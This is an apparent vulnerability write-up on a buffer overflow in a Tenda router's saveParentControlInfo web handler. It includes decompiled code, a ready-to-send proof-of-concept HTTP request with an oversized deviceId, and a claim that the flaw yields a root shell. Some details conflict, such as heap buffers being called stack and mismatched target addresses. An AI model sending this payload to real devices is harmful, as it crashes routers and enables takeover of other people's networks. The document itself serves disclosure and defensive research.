

Vulnerability details

First, find the cross reference of saveparentcontrolinfo through string search

```
sub_16B4C("PowerSaveSet", setSmartPowerManagement);
sub_16B4C("initSchedWifi", getSchedWifi);
sub_16B4C("openSchedWifi", setSchedWifi);
sub_16B4C("GetLEDCfg", formGetSchedLed);
sub_16B4C("SetLEDCfg", formSetSchedLed);
sub_16B4C("GetParentControlInfo", GetParentControlInfo);
sub_16B4C("saveParentControlInfo", saveParentControlInfo);
sub_16B4C("GetDhcpSetVer", formGetDhcpSetVer);
sub_16B4C("DhcpSetSer", fromDhcpSetSer);
sub_FA80("TendaGetDhcpClients", aspTendaGetDhcpClients);
sub_16B4C("DhcpListClient", fromDhcpListClient);
sub_16B4C("aiaxTendaGetDhcpClients", formTendaGetDhcpClients);
```

```
v30 = 0;
src = (char *)sub_2B408(a1, (int)"deviceId", (int)&unk_CEC88);
v28 = (char *)sub_2B408(a1, (int)"enable", (int)&unk_CEC88);
nptr = (char *)sub_2B408(a1, (int)"time", (int)&unk_CEC88);
v26 = (char *)sub_2B408(a1, (int)"url_enable", (int)&unk_CEC88);
v25 = (char *)sub_2B408(a1, (int)"urls", (int)&unk_CEC88);
v24 = (char *)sub_2B408(a1, (int)"day", (int)&unk_CEC88);
v23 = sub_2B408(a1, (int)"block", (int)&unk_CEC88);
v22 = sub_2B408(a1, (int)"connectType", (int)&unk_CEC88);
v21 = (char *)sub_2B408(a1, (int)"limit_type", (int)"1");
v20 = sub_2B408(a1, (int)"deviceName", (int)&unk_CEC88);
if (*v20)
```

Get the content of the parameter and pass it to Src In the next review, it is found that the strcpy function directly copies the obtained content to the v18 + 2 stack, which has a stack overflow vulnerability

```
ptr = malloc(0x254u);
memset(ptr, 0, 0x254u);
strcpy((char *)ptr + 2, src);
v18 = malloc(0x254u);
memset(v18, 0, 0x254u);
SetValue("parent.global.en", "1");
strcpy((char *)v18 + 2, src);
strcpy((char *)v18 + 34, nptr);
sscanf(
```

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V15.03.2.21_cn
- 2. Attack with the following POC attacks

POST /goform/saveParentControlInfo HTTP/1.1

Host: 192.168.11.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101

Firefox/96.0 Accept: */*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 1131

Origin: http://192.168.11.1

Connection: close

Referer: http://192.168.11.1/parental_control.html?random=0.16095210121969683&

Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcetv1qw

deviceId=9c%3Afc%3Ae8%3A1a%3A33%3A80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa 21%3A00&url_enable=1&urls=123&day=1%2C1%2C1%2C1%2C1%2C1%2C1&limit_type=0



The reproduction results are as follows:

Unable to connect

An error occurred during a connection to 192.168.0.1.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- . If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access
 the Web.

Try Again

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

